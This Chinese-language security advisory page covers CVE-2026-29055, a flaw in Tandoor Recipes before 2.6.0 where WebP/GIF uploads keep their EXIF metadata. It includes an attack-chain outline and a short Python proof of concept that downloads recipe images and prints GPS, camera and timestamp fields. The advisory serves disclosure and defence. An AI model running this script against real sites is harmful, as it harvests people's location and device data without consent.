IPBUF安全漏洞报告
English
CVE-2026-29055 CVSS 5.3 中危

CVE-2026-29055 Tandoor Recipes敏感信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-29055
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tandoor Recipes

相关标签

信息泄露隐私泄露EXIFTandoor RecipesWebP

漏洞概述

Tandoor Recipes是一款用于管理食谱和膳食的应用程序。在版本2.6.0之前,其图片处理管道在处理WebP和GIF格式时,明确跳过了EXIF元数据剥离、图像重缩放及大小验证。这导致用户上传的默认WebP格式食谱照片中包含的敏感EXIF数据(如GPS坐标、相机型号、时间戳等)会被存储并无差别地提供给所有能查看该食谱的用户,造成隐私泄露风险。

技术细节

该漏洞源于Tandoor Recipes后端图片处理组件的不完善实现。在受影响版本中,开发人员在源代码中留下了TODO注释,表明当时有意跳过了对WebP和GIF格式图片的EXIF元数据剥离、图像重缩放以及文件大小验证逻辑。由于现代智能手机默认拍摄格式多为WebP,当用户上传包含地理位置信息的食谱图片时,服务器会原样存储这些包含完整EXIF元数据的文件。任何拥有食谱查看权限的用户(根据配置可能包括未认证访客)均可下载该图片,并利用exiftool等工具提取其中的GPS坐标、设备型号、拍摄时间等敏感隐私信息。此漏洞属于服务端验证缺失导致的信息泄露,攻击向量简单,无需复杂的权限提升或用户交互即可实施。

攻击链分析

STEP 1
1. 信息收集
攻击者发现目标站点运行的是Tandoor Recipes应用,且版本低于2.6.0。
STEP 2
2. 访问页面
攻击者无需认证(或仅需低权限)访问包含用户上传图片的食谱详情页面。
STEP 3
3. 获取图片
攻击者下载页面中展示的WebP或GIF格式的食谱图片文件。
STEP 4
4. 提取数据
攻击者使用exiftool或编写脚本解析下载的图片,提取其中未被清除的EXIF元数据(如GPS坐标)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests from PIL import Image, ExifTags from PIL.ExifTags import TAGS # Proof of Concept: Check for EXIF data in uploaded images on Tandoor Recipes # This script demonstrates how an attacker can extract sensitive metadata. def check_exif(image_url): try: # Download the image from the target server response = requests.get(image_url, stream=True) response.raise_for_status() image = Image.open(response.raw) # Check for EXIF data exif_data = {} if hasattr(image, '_getexif'): exif_info = image._getexif() if exif_info: for tag, value in exif_info.items(): decoded = TAGS.get(tag, tag) exif_data[decoded] = value # Print sensitive information if exif_data: print(f"[+] Found EXIF data in {image_url}:") for key, value in exif_data.items(): # Highlight commonly sensitive fields if any(s in str(key) for s in ['GPS', 'Make', 'Model', 'DateTime', 'Software']): print(f" - {key}: {value}") else: print("[-] No EXIF data found or image is clean.") except Exception as e: print(f"[-] Error processing image: {e}") # Example usage: # Replace with a valid URL to a recipe image on a vulnerable instance # target_image_url = "http://target-site.com/media/recipe_images/vulnerable_image.webp" # check_exif(target_image_url)

影响范围

Tandoor Recipes < 2.6.0

防御指南

临时缓解措施
如果无法立即升级,建议管理员使用ImageMagick等工具在存储桶或CDN层对现有的媒体文件进行批量EXIF清理,并配置Web应用防火墙或反向代理拦截未授权的媒体文件直接访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表